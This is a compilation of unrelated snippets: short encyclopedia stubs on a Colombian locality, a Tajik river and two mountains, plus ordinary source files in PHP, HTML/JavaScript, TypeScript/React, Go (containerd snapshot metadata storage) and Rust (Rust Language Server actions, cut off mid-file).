The locality has 25 neighborhoods and one township. Is manage for a local mayor and an Administrative Local Board integrate for 15 councilors.
References
Barranquilla
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\GoogleAnalyticsAdmin;
class GoogleAnalyticsAdminV1alphaChangeHistoryChange extends \Google\Model
{
/**
* @var string
*/
public $action;
/**
* @var string
*/
public $resource;
protected $resourceAfterChangeType = your_sha256_hashrce::class;
protected $resourceAfterChangeDataType = '';
protected $resourceBeforeChangeType = your_sha256_hashrce::class;
protected $resourceBeforeChangeDataType = '';
/**
* @param string
*/
public function setAction($action)
{
$this->action = $action;
}
/**
* @return string
*/
public function getAction()
{
return $this->action;
}
/**
* @param string
*/
public function setResource($resource)
{
$this->resource = $resource;
}
/**
* @return string
*/
public function getResource()
{
return $this->resource;
}
/**
* @param your_sha256_hashrce
*/
public function setResourceAfterChange(your_sha256_hashrce $resourceAfterChange)
{
$this->resourceAfterChange = $resourceAfterChange;
}
/**
* @return your_sha256_hashrce
*/
public function getResourceAfterChange()
{
return $this->resourceAfterChange;
}
/**
* @param your_sha256_hashrce
*/
public function setResourceBeforeChange(your_sha256_hashrce $resourceBeforeChange)
{
$this->resourceBeforeChange = $resourceBeforeChange;
}
/**
* @return your_sha256_hashrce
*/
public function getResourceBeforeChange()
{
return $this->resourceBeforeChange;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(GoogleAnalyticsAdminV1alphaChangeHistoryChange::class, your_sha256_hashhangeHistoryChange');
```
|
The Yaghnob () is a river in Ayni District of Sughd Region, Tajikistan. Together with the Iskander Darya, it forms the Fan Darya, a major left tributary of the Zeravshan.
The source of the Yaghnob is in the Matcha Mountains, where the Zarafshan and the Gissar Ranges merge. The Yaghnob is mainly fed by glaciers and snow fields. The river flows from the east to the west, south of and parallel to the upper Zeravshan River, through the Yaghnob Valley, a remote location populated by the Yaghnobi people speaking the Yaghnobi language. The main village in the valley is Anzob. It joins the east-flowing Iskander Darya to form the Fan Darya which flows north to join the Zeravshan at Ayni. The main road north from Dushanbe follows the lower Yaghnob and the Fan Darya. Before the Soviets blasted a road through, the upper valley was protected by an almost impenetrable gorge, which accounts for the historical isolation of its population.
References
Rivers of Tajikistan
Yaghnob
|
```html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
body{-webkit-user-select: none;-moz-user-select: none;}
#div1{width: 100px;height: 100px;background: orange;position: absolute;top: 0;left: 0;cursor: move;}
</style>
</head>
<body>
<div id="div1"></div>
<div>
<br/>
<br/>
<br/>
<br/>
<br/>
1
2
3
<br/>
;
<br/>
=+
<br/>
=-
<br/><br/>
1<br/>
mousedown:
<br/>
<br/>
<br/>
this.x=this.offsetLeft;
this.y=this.offsetTop;
<br/>
<br/>
this.mouseX=e.clientX;
this.mouseY=e.clientY;
<br/>
<br/>
2
<br/>
<br/>
this.style.top=this.y+(e.clientY-this.mouseY)+"px";
<br/>
this.style.left=this.x+(e.clientX-this.this.mouseX)+"px";
<br/><br/>
3
<br/>mouseup
</div>
</body>
</html>
<script>
var oDiv=document.getElementById("div1");
oDiv.onmousedown=down;
/**/
function down(e){
this.x=this.offsetLeft;
this.y=this.offsetTop;
this.mouseX=e.clientX;
this.mouseY=e.clientY;
/*moveup*/
this.onmousemove=move;
this.onmouseup=up;
};
/**/
function move(e){
this.style.top=this.y+(e.clientY-this.mouseY)+"px";
this.style.left=this.x+(e.clientX-this.mouseX)+"px";
};
/**/
function up(e){
this.onmousemove=null;
this.onmouseup=null;
};
</script>
```
|
```xml
import { Dropdown, Field, Skeleton, SkeletonItem, Option } from "@fluentui/react-components";
import { WebPartContext } from "@microsoft/sp-webpart-base";
import * as MicrosoftGraph from '@microsoft/microsoft-graph-types';
import { MSGraphClientV3 } from '@microsoft/sp-http';
import { GraphError } from '@microsoft/microsoft-graph-client';
import * as React from "react";
export declare type SelectionEvents = React.ChangeEvent<HTMLElement> | React.KeyboardEvent<HTMLElement> | React.MouseEvent<HTMLElement>;
export declare type OptionOnSelectData = {
optionValue: string | undefined;
optionText: string | undefined;
selectedOptions: string[];
};
interface ITeamsProps {
context: WebPartContext;
label: string;
onOptionSelect?: (event: SelectionEvents, data: OptionOnSelectData) => void;
}
export default function Teams(props: ITeamsProps): React.ReactElement<ITeamsProps> {
const { context, label } = props;
const [myTeams, setMyTeams] = React.useState<MicrosoftGraph.Team[]>();
const [selectedOptions, setSelectedOptions] = React.useState<string[]>([]);
const [value, setValue] = React.useState<string>("");
const onOptionSelect: (typeof props)["onOptionSelect"] = (ev, data) => {
setSelectedOptions(data.selectedOptions);
setValue(data.optionText ?? "");
if (props.onOptionSelect) props.onOptionSelect(ev, data);
};
React.useEffect(() => {
if ((myTeams?.length ?? -1) < 0) context.msGraphClientFactory
.getClient('3')
.then((client: MSGraphClientV3) => {
if (!myTeams) client
.api(`me/joinedTeams`)
.version("v1.0")
.get((err: GraphError, res: { value: MicrosoftGraph.Team[] }) => {
if (err) {
console.error(err);
return;
}
setMyTeams(res.value);
}).catch(console.error);
}).catch(console.error);
}, [context]);
return (<Field required label={label}>
{!myTeams && <Skeleton><SkeletonItem /></Skeleton>}
{myTeams && <Dropdown value={value}
selectedOptions={selectedOptions}
onOptionSelect={onOptionSelect}>
{myTeams.map(t => (<Option key={t.id} text={t.displayName ?? ''} value={t.id}>{t.displayName}</Option>))}
</Dropdown>}
</Field>);
}
```
|
Waka Wañusqa (Quechua waka cow, wañusqa died, dead, "cow died" or "dead cow", also spelled Huaca Huanuskha) is a mountain in the Andes of Bolivia which reaches a height of approximately . It is located in the Potosí Department, Nor Chichas Province, Cotagaita Municipality.
References
Mountains of Potosí Department
|
The Aiguille du Tour () is a mountain in the Mont Blanc massif, located on the border between Switzerland and France. The voie normale on the mountain is graded F (facile) and can be climbed from either the Albert Premier Hut on the French side or the Trient Hut on the Swiss side.
The Aiguille du Pissoir (3,440 m) and the Aiguille Purtscheller (3,475 m) are secondary summits located respectively north and south of the Aiguille du Tour.
References
External links
Aiguille du Tour on Hikr
Aiguille du Tour on Summitpost
Mountains of Valais
Mountains of the Alps
Alpine three-thousanders
Mountains of Haute-Savoie
Mountains of Switzerland
Mont Blanc massif
|
```go
/*
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package storage
import (
"context"
"encoding/binary"
"fmt"
"strings"
"time"
"github.com/boltdb/bolt"
"github.com/containerd/containerd/errdefs"
"github.com/containerd/containerd/metadata/boltutil"
"github.com/containerd/containerd/snapshots"
"github.com/pkg/errors"
)
var (
bucketKeyStorageVersion = []byte("v1")
bucketKeySnapshot = []byte("snapshots")
bucketKeyParents = []byte("parents")
bucketKeyID = []byte("id")
bucketKeyParent = []byte("parent")
bucketKeyKind = []byte("kind")
bucketKeyInodes = []byte("inodes")
bucketKeySize = []byte("size")
// ErrNoTransaction is returned when an operation is attempted with
// a context which is not inside of a transaction.
ErrNoTransaction = errors.New("no transaction in context")
)
// parentKey returns a composite key of the parent and child identifiers. The
// parts of the key are separated by a zero byte.
func parentKey(parent, child uint64) []byte {
b := make([]byte, binary.Size([]uint64{parent, child})+1)
i := binary.PutUvarint(b, parent)
j := binary.PutUvarint(b[i+1:], child)
return b[0 : i+j+1]
}
// parentPrefixKey returns the parent part of the composite key with the
// zero byte separator.
func parentPrefixKey(parent uint64) []byte {
b := make([]byte, binary.Size(parent)+1)
i := binary.PutUvarint(b, parent)
return b[0 : i+1]
}
// getParentPrefix returns the first part of the composite key which
// represents the parent identifier.
func getParentPrefix(b []byte) uint64 {
parent, _ := binary.Uvarint(b)
return parent
}
// GetInfo returns the snapshot Info directly from the metadata. Requires a
// context with a storage transaction.
func GetInfo(ctx context.Context, key string) (string, snapshots.Info, snapshots.Usage, error) {
var (
id uint64
su snapshots.Usage
si = snapshots.Info{
Name: key,
}
)
err := withSnapshotBucket(ctx, key, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
getUsage(bkt, &su)
return readSnapshot(bkt, &id, &si)
})
if err != nil {
return "", snapshots.Info{}, snapshots.Usage{}, err
}
return fmt.Sprintf("%d", id), si, su, nil
}
// UpdateInfo updates an existing snapshot info's data
func UpdateInfo(ctx context.Context, info snapshots.Info, fieldpaths ...string) (snapshots.Info, error) {
updated := snapshots.Info{
Name: info.Name,
}
err := withBucket(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
sbkt := bkt.Bucket([]byte(info.Name))
if sbkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "snapshot does not exist")
}
if err := readSnapshot(sbkt, nil, &updated); err != nil {
return err
}
if len(fieldpaths) > 0 {
for _, path := range fieldpaths {
if strings.HasPrefix(path, "labels.") {
if updated.Labels == nil {
updated.Labels = map[string]string{}
}
key := strings.TrimPrefix(path, "labels.")
updated.Labels[key] = info.Labels[key]
continue
}
switch path {
case "labels":
updated.Labels = info.Labels
default:
return errors.Wrapf(errdefs.ErrInvalidArgument, "cannot update %q field on snapshot %q", path, info.Name)
}
}
} else {
// Set mutable fields
updated.Labels = info.Labels
}
updated.Updated = time.Now().UTC()
if err := boltutil.WriteTimestamps(sbkt, updated.Created, updated.Updated); err != nil {
return err
}
return boltutil.WriteLabels(sbkt, updated.Labels)
})
if err != nil {
return snapshots.Info{}, err
}
return updated, nil
}
// WalkInfo iterates through all metadata Info for the stored snapshots and
// calls the provided function for each. Requires a context with a storage
// transaction.
func WalkInfo(ctx context.Context, fn func(context.Context, snapshots.Info) error) error {
return withBucket(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
return bkt.ForEach(func(k, v []byte) error {
// skip non buckets
if v != nil {
return nil
}
var (
sbkt = bkt.Bucket(k)
si = snapshots.Info{
Name: string(k),
}
)
if err := readSnapshot(sbkt, nil, &si); err != nil {
return err
}
return fn(ctx, si)
})
})
}
// GetSnapshot returns the metadata for the active or view snapshot transaction
// referenced by the given key. Requires a context with a storage transaction.
func GetSnapshot(ctx context.Context, key string) (s Snapshot, err error) {
err = withBucket(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
sbkt := bkt.Bucket([]byte(key))
if sbkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "snapshot does not exist")
}
s.ID = fmt.Sprintf("%d", readID(sbkt))
s.Kind = readKind(sbkt)
if s.Kind != snapshots.KindActive && s.Kind != snapshots.KindView {
return errors.Wrapf(errdefs.ErrFailedPrecondition, "requested snapshot %v not active or view", key)
}
if parentKey := sbkt.Get(bucketKeyParent); len(parentKey) > 0 {
spbkt := bkt.Bucket(parentKey)
if spbkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "parent does not exist")
}
s.ParentIDs, err = parents(bkt, spbkt, readID(spbkt))
if err != nil {
return errors.Wrap(err, "failed to get parent chain")
}
}
return nil
})
if err != nil {
return Snapshot{}, err
}
return
}
// CreateSnapshot inserts a record for an active or view snapshot with the provided parent.
func CreateSnapshot(ctx context.Context, kind snapshots.Kind, key, parent string, opts ...snapshots.Opt) (s Snapshot, err error) {
switch kind {
case snapshots.KindActive, snapshots.KindView:
default:
return Snapshot{}, errors.Wrapf(errdefs.ErrInvalidArgument, "snapshot type %v invalid; only snapshots of type Active or View can be created", kind)
}
var base snapshots.Info
for _, opt := range opts {
if err := opt(&base); err != nil {
return Snapshot{}, err
}
}
err = createBucketIfNotExists(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
var (
spbkt *bolt.Bucket
)
if parent != "" {
spbkt = bkt.Bucket([]byte(parent))
if spbkt == nil {
return errors.Wrapf(errdefs.ErrNotFound, "missing parent %q bucket", parent)
}
if readKind(spbkt) != snapshots.KindCommitted {
return errors.Wrapf(errdefs.ErrInvalidArgument, "parent %q is not committed snapshot", parent)
}
}
sbkt, err := bkt.CreateBucket([]byte(key))
if err != nil {
if err == bolt.ErrBucketExists {
err = errors.Wrapf(errdefs.ErrAlreadyExists, "snapshot %v", key)
}
return err
}
id, err := bkt.NextSequence()
if err != nil {
return errors.Wrapf(err, "unable to get identifier for snapshot %q", key)
}
t := time.Now().UTC()
si := snapshots.Info{
Parent: parent,
Kind: kind,
Labels: base.Labels,
Created: t,
Updated: t,
}
if err := putSnapshot(sbkt, id, si); err != nil {
return err
}
if spbkt != nil {
pid := readID(spbkt)
// Store a backlink from the key to the parent. Store the snapshot name
// as the value to allow following the backlink to the snapshot value.
if err := pbkt.Put(parentKey(pid, id), []byte(key)); err != nil {
return errors.Wrapf(err, "failed to write parent link for snapshot %q", key)
}
s.ParentIDs, err = parents(bkt, spbkt, pid)
if err != nil {
return errors.Wrapf(err, "failed to get parent chain for snapshot %q", key)
}
}
s.ID = fmt.Sprintf("%d", id)
s.Kind = kind
return nil
})
if err != nil {
return Snapshot{}, err
}
return
}
// Remove removes a snapshot from the metastore. The string identifier for the
// snapshot is returned as well as the kind. The provided context must contain a
// writable transaction.
func Remove(ctx context.Context, key string) (string, snapshots.Kind, error) {
var (
id uint64
si snapshots.Info
)
if err := withBucket(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
sbkt := bkt.Bucket([]byte(key))
if sbkt == nil {
return errors.Wrapf(errdefs.ErrNotFound, "snapshot %v", key)
}
if err := readSnapshot(sbkt, &id, &si); err != nil {
errors.Wrapf(err, "failed to read snapshot %s", key)
}
if pbkt != nil {
k, _ := pbkt.Cursor().Seek(parentPrefixKey(id))
if getParentPrefix(k) == id {
return errors.Wrap(errdefs.ErrFailedPrecondition, "cannot remove snapshot with child")
}
if si.Parent != "" {
spbkt := bkt.Bucket([]byte(si.Parent))
if spbkt == nil {
return errors.Wrapf(errdefs.ErrNotFound, "snapshot %v", key)
}
if err := pbkt.Delete(parentKey(readID(spbkt), id)); err != nil {
return errors.Wrap(err, "failed to delete parent link")
}
}
}
if err := bkt.DeleteBucket([]byte(key)); err != nil {
return errors.Wrap(err, "failed to delete snapshot")
}
return nil
}); err != nil {
return "", 0, err
}
return fmt.Sprintf("%d", id), si.Kind, nil
}
// CommitActive renames the active snapshot transaction referenced by `key`
// as a committed snapshot referenced by `Name`. The resulting snapshot will be
// committed and readonly. The `key` reference will no longer be available for
// lookup or removal. The returned string identifier for the committed snapshot
// is the same identifier of the original active snapshot. The provided context
// must contain a writable transaction.
func CommitActive(ctx context.Context, key, name string, usage snapshots.Usage, opts ...snapshots.Opt) (string, error) {
var (
id uint64
base snapshots.Info
)
for _, opt := range opts {
if err := opt(&base); err != nil {
return "", err
}
}
if err := withBucket(ctx, func(ctx context.Context, bkt, pbkt *bolt.Bucket) error {
dbkt, err := bkt.CreateBucket([]byte(name))
if err != nil {
if err == bolt.ErrBucketExists {
err = errdefs.ErrAlreadyExists
}
return errors.Wrapf(err, "committed snapshot %v", name)
}
sbkt := bkt.Bucket([]byte(key))
if sbkt == nil {
return errors.Wrapf(errdefs.ErrNotFound, "failed to get active snapshot %q", key)
}
var si snapshots.Info
if err := readSnapshot(sbkt, &id, &si); err != nil {
return errors.Wrapf(err, "failed to read active snapshot %q", key)
}
if si.Kind != snapshots.KindActive {
return errors.Wrapf(errdefs.ErrFailedPrecondition, "snapshot %q is not active", key)
}
si.Kind = snapshots.KindCommitted
si.Created = time.Now().UTC()
si.Updated = si.Created
// Replace labels, do not inherit
si.Labels = base.Labels
if err := putSnapshot(dbkt, id, si); err != nil {
return err
}
if err := putUsage(dbkt, usage); err != nil {
return err
}
if err := bkt.DeleteBucket([]byte(key)); err != nil {
return errors.Wrapf(err, "failed to delete active snapshot %q", key)
}
if si.Parent != "" {
spbkt := bkt.Bucket([]byte(si.Parent))
if spbkt == nil {
return errors.Wrapf(errdefs.ErrNotFound, "missing parent %q of snapshot %q", si.Parent, key)
}
pid := readID(spbkt)
// Updates parent back link to use new key
if err := pbkt.Put(parentKey(pid, id), []byte(name)); err != nil {
return errors.Wrapf(err, "failed to update parent link %q from %q to %q", pid, key, name)
}
}
return nil
}); err != nil {
return "", err
}
return fmt.Sprintf("%d", id), nil
}
// IDMap returns all the IDs mapped to their key
func IDMap(ctx context.Context) (map[string]string, error) {
m := map[string]string{}
if err := withBucket(ctx, func(ctx context.Context, bkt, _ *bolt.Bucket) error {
return bkt.ForEach(func(k, v []byte) error {
// skip non buckets
if v != nil {
return nil
}
id := readID(bkt.Bucket(k))
m[fmt.Sprintf("%d", id)] = string(k)
return nil
})
}); err != nil {
return nil, err
}
return m, nil
}
func withSnapshotBucket(ctx context.Context, key string, fn func(context.Context, *bolt.Bucket, *bolt.Bucket) error) error {
tx, ok := ctx.Value(transactionKey{}).(*bolt.Tx)
if !ok {
return ErrNoTransaction
}
vbkt := tx.Bucket(bucketKeyStorageVersion)
if vbkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "bucket does not exist")
}
bkt := vbkt.Bucket(bucketKeySnapshot)
if bkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "snapshots bucket does not exist")
}
bkt = bkt.Bucket([]byte(key))
if bkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "snapshot does not exist")
}
return fn(ctx, bkt, vbkt.Bucket(bucketKeyParents))
}
func withBucket(ctx context.Context, fn func(context.Context, *bolt.Bucket, *bolt.Bucket) error) error {
tx, ok := ctx.Value(transactionKey{}).(*bolt.Tx)
if !ok {
return ErrNoTransaction
}
bkt := tx.Bucket(bucketKeyStorageVersion)
if bkt == nil {
return errors.Wrap(errdefs.ErrNotFound, "bucket does not exist")
}
return fn(ctx, bkt.Bucket(bucketKeySnapshot), bkt.Bucket(bucketKeyParents))
}
func createBucketIfNotExists(ctx context.Context, fn func(context.Context, *bolt.Bucket, *bolt.Bucket) error) error {
tx, ok := ctx.Value(transactionKey{}).(*bolt.Tx)
if !ok {
return ErrNoTransaction
}
bkt, err := tx.CreateBucketIfNotExists(bucketKeyStorageVersion)
if err != nil {
return errors.Wrap(err, "failed to create version bucket")
}
sbkt, err := bkt.CreateBucketIfNotExists(bucketKeySnapshot)
if err != nil {
return errors.Wrap(err, "failed to create snapshots bucket")
}
pbkt, err := bkt.CreateBucketIfNotExists(bucketKeyParents)
if err != nil {
return errors.Wrap(err, "failed to create parents bucket")
}
return fn(ctx, sbkt, pbkt)
}
func parents(bkt, pbkt *bolt.Bucket, parent uint64) (parents []string, err error) {
for {
parents = append(parents, fmt.Sprintf("%d", parent))
parentKey := pbkt.Get(bucketKeyParent)
if len(parentKey) == 0 {
return
}
pbkt = bkt.Bucket(parentKey)
if pbkt == nil {
return nil, errors.Wrap(errdefs.ErrNotFound, "missing parent")
}
parent = readID(pbkt)
}
}
func readKind(bkt *bolt.Bucket) (k snapshots.Kind) {
kind := bkt.Get(bucketKeyKind)
if len(kind) == 1 {
k = snapshots.Kind(kind[0])
}
return
}
func readID(bkt *bolt.Bucket) uint64 {
id, _ := binary.Uvarint(bkt.Get(bucketKeyID))
return id
}
func readSnapshot(bkt *bolt.Bucket, id *uint64, si *snapshots.Info) error {
if id != nil {
*id = readID(bkt)
}
if si != nil {
si.Kind = readKind(bkt)
si.Parent = string(bkt.Get(bucketKeyParent))
if err := boltutil.ReadTimestamps(bkt, &si.Created, &si.Updated); err != nil {
return err
}
labels, err := boltutil.ReadLabels(bkt)
if err != nil {
return err
}
si.Labels = labels
}
return nil
}
func putSnapshot(bkt *bolt.Bucket, id uint64, si snapshots.Info) error {
idEncoded, err := encodeID(id)
if err != nil {
return err
}
updates := [][2][]byte{
{bucketKeyID, idEncoded},
{bucketKeyKind, []byte{byte(si.Kind)}},
}
if si.Parent != "" {
updates = append(updates, [2][]byte{bucketKeyParent, []byte(si.Parent)})
}
for _, v := range updates {
if err := bkt.Put(v[0], v[1]); err != nil {
return err
}
}
if err := boltutil.WriteTimestamps(bkt, si.Created, si.Updated); err != nil {
return err
}
return boltutil.WriteLabels(bkt, si.Labels)
}
func getUsage(bkt *bolt.Bucket, usage *snapshots.Usage) {
usage.Inodes, _ = binary.Varint(bkt.Get(bucketKeyInodes))
usage.Size, _ = binary.Varint(bkt.Get(bucketKeySize))
}
func putUsage(bkt *bolt.Bucket, usage snapshots.Usage) error {
for _, v := range []struct {
key []byte
value int64
}{
{bucketKeyInodes, usage.Inodes},
{bucketKeySize, usage.Size},
} {
e, err := encodeSize(v.value)
if err != nil {
return err
}
if err := bkt.Put(v.key, e); err != nil {
return err
}
}
return nil
}
func encodeSize(size int64) ([]byte, error) {
var (
buf [binary.MaxVarintLen64]byte
sizeEncoded = buf[:]
)
sizeEncoded = sizeEncoded[:binary.PutVarint(sizeEncoded, size)]
if len(sizeEncoded) == 0 {
return nil, fmt.Errorf("failed encoding size = %v", size)
}
return sizeEncoded, nil
}
func encodeID(id uint64) ([]byte, error) {
var (
buf [binary.MaxVarintLen64]byte
idEncoded = buf[:]
)
idEncoded = idEncoded[:binary.PutUvarint(idEncoded, id)]
if len(idEncoded) == 0 {
return nil, fmt.Errorf("failed encoding id = %v", id)
}
return idEncoded, nil
}
```
|
```rust
//! Actions that the RLS can perform: responding to requests, watching files,
//! etc.
use crate::config::Config;
use crate::config::FmtConfig;
use crate::Span;
use log::{debug, error, info, trace};
use rls_analysis::AnalysisHost;
use rls_span as span;
use rls_vfs::{FileContents, Vfs};
use serde_json::{self, json};
use url::Url;
use walkdir::WalkDir;
use crate::actions::format::Rustfmt;
use crate::actions::post_build::{AnalysisQueue, BuildResults, PostBuildHandler};
use crate::actions::progress::{BuildDiagnosticsNotifier, BuildProgressNotifier};
use crate::build::*;
use crate::concurrency::{ConcurrentJob, Jobs};
use crate::lsp_data;
use crate::lsp_data::*;
use crate::project_model::{ProjectModel, RacerFallbackModel, RacerProjectModel};
use crate::server::Output;
use std::collections::{HashMap, HashSet};
use std::convert::TryFrom;
use std::io;
use std::path::{Path, PathBuf};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::{Arc, Mutex};
use std::thread;
// TODO: Support non-`file` URI schemes in VFS. We're currently ignoring them because
// we don't want to crash the RLS in case a client opens a file under different URI scheme
// like with git:/ or perforce:/ (Probably even http:/? We currently don't support remote schemes).
macro_rules! ignore_non_file_uri {
($expr: expr, $uri: expr, $log_name: expr) => {
$expr.map_err(|_| {
trace!("{}: Non-`file` URI scheme, ignoring: {:?}", $log_name, $uri);
()
})
};
}
macro_rules! parse_file_path {
($uri: expr, $log_name: expr) => {
ignore_non_file_uri!(parse_file_path($uri), $uri, $log_name)
};
}
pub mod diagnostics;
pub mod format;
pub mod hover;
pub mod notifications;
pub mod post_build;
pub mod progress;
pub mod requests;
pub mod run;
pub mod work_pool;
/// Persistent context shared across all requests and notifications.
pub enum ActionContext {
/// Context after server initialization.
Init(InitActionContext),
/// Context before initialization.
Uninit(UninitActionContext),
}
impl ActionContext {
/// Construct a new, uninitialized context.
pub fn new(
analysis: Arc<AnalysisHost>,
vfs: Arc<Vfs>,
config: Arc<Mutex<Config>>,
) -> ActionContext {
ActionContext::Uninit(UninitActionContext::new(analysis, vfs, config))
}
/// Initialize this context, returns `Err(())` if it has already been initialized.
pub fn init<O: Output>(
&mut self,
current_project: PathBuf,
init_options: InitializationOptions,
client_capabilities: lsp_data::ClientCapabilities,
out: &O,
) -> Result<(), ()> {
let ctx = match *self {
ActionContext::Uninit(ref uninit) => {
let ctx = InitActionContext::new(
Arc::clone(&uninit.analysis),
Arc::clone(&uninit.vfs),
Arc::clone(&uninit.config),
client_capabilities,
current_project,
uninit.pid,
init_options.cmd_run,
);
ctx.init(init_options, out);
ctx
}
ActionContext::Init(_) => return Err(()),
};
*self = ActionContext::Init(ctx);
Ok(())
}
/// Returns an initialiased wrapped context, or `Err(())` if not initialised.
pub fn inited(&self) -> Result<InitActionContext, ()> {
match *self {
ActionContext::Uninit(_) => Err(()),
ActionContext::Init(ref ctx) => Ok(ctx.clone()),
}
}
pub fn pid(&self) -> u32 {
match self {
ActionContext::Uninit(ctx) => ctx.pid,
ActionContext::Init(ctx) => ctx.pid,
}
}
}
/// Persistent context shared across all requests and actions after the RLS has
/// been initialized.
#[derive(Clone)]
pub struct InitActionContext {
analysis: Arc<AnalysisHost>,
vfs: Arc<Vfs>,
// Queues analysis jobs so that we don't over-use the CPU.
analysis_queue: Arc<AnalysisQueue>,
current_project: PathBuf,
project_model: Arc<Mutex<Option<Arc<ProjectModel>>>>,
previous_build_results: Arc<Mutex<BuildResults>>,
build_queue: BuildQueue,
file_to_crates: Arc<Mutex<HashMap<PathBuf, HashSet<Crate>>>>,
// Keep a record of builds/post-build tasks currently in flight so that
// mutating actions can block until the data is ready.
active_build_count: Arc<AtomicUsize>,
// Whether we've shown an error message from Cargo since the last successful
// build.
shown_cargo_error: Arc<AtomicBool>,
// Set to true when a potentially mutating request is received. Set to false
// if a change arrives. We can thus tell if the RLS has been quiescent while
// waiting to mutate the client state.
pub quiescent: Arc<AtomicBool>,
prev_changes: Arc<Mutex<HashMap<PathBuf, u64>>>,
config: Arc<Mutex<Config>>,
jobs: Arc<Mutex<Jobs>>,
client_capabilities: Arc<lsp_data::ClientCapabilities>,
client_supports_cmd_run: bool,
/// Set/confirmed true once a `workspace/didChangeWatchedFile` is processed
/// Used to avoid other notifications like didSave causing double cargo builds
client_use_change_watched: bool,
/// Whether the server is performing cleanup (after having received
/// 'shutdown' request), just before final 'exit' request.
pub shut_down: Arc<AtomicBool>,
pub pid: u32,
}
/// Persistent context shared across all requests and actions before the RLS has
/// been initialized.
pub struct UninitActionContext {
analysis: Arc<AnalysisHost>,
vfs: Arc<Vfs>,
config: Arc<Mutex<Config>>,
pid: u32,
}
impl UninitActionContext {
fn new(
analysis: Arc<AnalysisHost>,
vfs: Arc<Vfs>,
config: Arc<Mutex<Config>>,
) -> UninitActionContext {
UninitActionContext { analysis, vfs, config, pid: ::std::process::id() }
}
}
impl InitActionContext {
fn new(
analysis: Arc<AnalysisHost>,
vfs: Arc<Vfs>,
config: Arc<Mutex<Config>>,
client_capabilities: lsp_data::ClientCapabilities,
current_project: PathBuf,
pid: u32,
client_supports_cmd_run: bool,
) -> InitActionContext {
let build_queue = BuildQueue::new(Arc::clone(&vfs), Arc::clone(&config));
let analysis_queue = Arc::new(AnalysisQueue::init());
InitActionContext {
analysis,
analysis_queue,
vfs,
config,
jobs: Arc::default(),
current_project,
project_model: Arc::default(),
previous_build_results: Arc::default(),
build_queue,
file_to_crates: Arc::default(),
active_build_count: Arc::new(AtomicUsize::new(0)),
shown_cargo_error: Arc::new(AtomicBool::new(false)),
quiescent: Arc::new(AtomicBool::new(false)),
prev_changes: Arc::default(),
client_capabilities: Arc::new(client_capabilities),
client_supports_cmd_run,
client_use_change_watched: false,
shut_down: Arc::new(AtomicBool::new(false)),
pid,
}
}
pub fn invalidate_project_model(&self) {
*self.project_model.lock().unwrap() = None;
}
pub fn project_model(&self) -> Result<Arc<ProjectModel>, anyhow::Error> {
let cached: Option<Arc<ProjectModel>> = self.project_model.lock().unwrap().clone();
match cached {
Some(pm) => Ok(pm),
None => {
info!("loading cargo project model");
let pm = ProjectModel::load(&self.current_project.join("Cargo.toml"), &self.vfs)?;
let pm = Arc::new(pm);
*self.project_model.lock().unwrap() = Some(Arc::clone(&pm));
Ok(pm)
}
}
}
pub fn racer_cache(&self) -> racer::FileCache {
struct RacerVfs(Arc<Vfs>);
impl racer::FileLoader for RacerVfs {
fn load_file(&self, path: &Path) -> io::Result<String> {
match self.0.load_file(path) {
Ok(FileContents::Text(t)) => Ok(t),
Ok(FileContents::Binary(_)) => {
Err(io::Error::new(io::ErrorKind::Other, rls_vfs::Error::BadFileKind))
}
Err(err) => Err(io::Error::new(io::ErrorKind::Other, err)),
}
}
}
racer::FileCache::new(RacerVfs(Arc::clone(&self.vfs)))
}
pub fn racer_session<'c>(&self, cache: &'c racer::FileCache) -> racer::Session<'c> {
let pm: Box<dyn racer::ProjectModelProvider> = match self.project_model() {
Ok(pm) => Box::new(RacerProjectModel(pm)),
Err(e) => {
error!("failed to fetch project model, using fallback: {}", e);
Box::new(RacerFallbackModel)
}
};
racer::Session::with_project_model(cache, pm)
}
/// Depending on user configuration, we might use either external Rustfmt or
/// the one we're shipping with.
/// Locks config to read `rustfmt_path` key.
fn formatter(&self) -> Rustfmt {
let rustfmt = self
.config
.lock()
.unwrap()
.rustfmt_path
.clone()
.map(|path| (path, self.current_project.clone()));
Rustfmt::from(rustfmt)
}
fn fmt_config(&self) -> FmtConfig {
FmtConfig::from(&self.current_project)
}
fn file_edition(&self, file: PathBuf) -> Option<Edition> {
let files_to_crates = self.file_to_crates.lock().unwrap();
let editions: HashSet<_> = files_to_crates
.get(&file)
.map(|crates| crates.iter().map(|c| c.edition).collect())
.unwrap_or_default();
let mut iter = editions.into_iter();
match (iter.next(), iter.next()) {
(ret @ Some(_), None) => ret,
(Some(_), Some(_)) => None,
_ => {
// fall back on checking the root manifest for package edition
let manifest_path =
cargo::util::important_paths::find_root_manifest_for_wd(&file).ok()?;
edition_from_manifest(manifest_path)
}
}
}
fn init<O: Output>(&self, init_options: InitializationOptions, out: &O) {
let current_project = self.current_project.clone();
let needs_inference = {
let mut config = self.config.lock().unwrap();
if let Some(init_config) = init_options.settings.map(|s| s.rust) {
config.update(init_config);
}
config.needs_inference()
};
if needs_inference {
let config = Arc::clone(&self.config);
// Spawn another thread since we're shelling out to Cargo and this can
// cause a non-trivial amount of time due to disk access
thread::spawn(move || {
let mut config = config.lock().unwrap();
if let Err(e) = config.infer_defaults(¤t_project) {
debug!("Encountered an error while trying to infer config defaults: {:?}", e);
}
});
}
if !init_options.omit_init_build {
self.build_current_project(BuildPriority::Cargo, out);
}
}
fn build<O: Output>(&self, project_path: &Path, priority: BuildPriority, out: &O) {
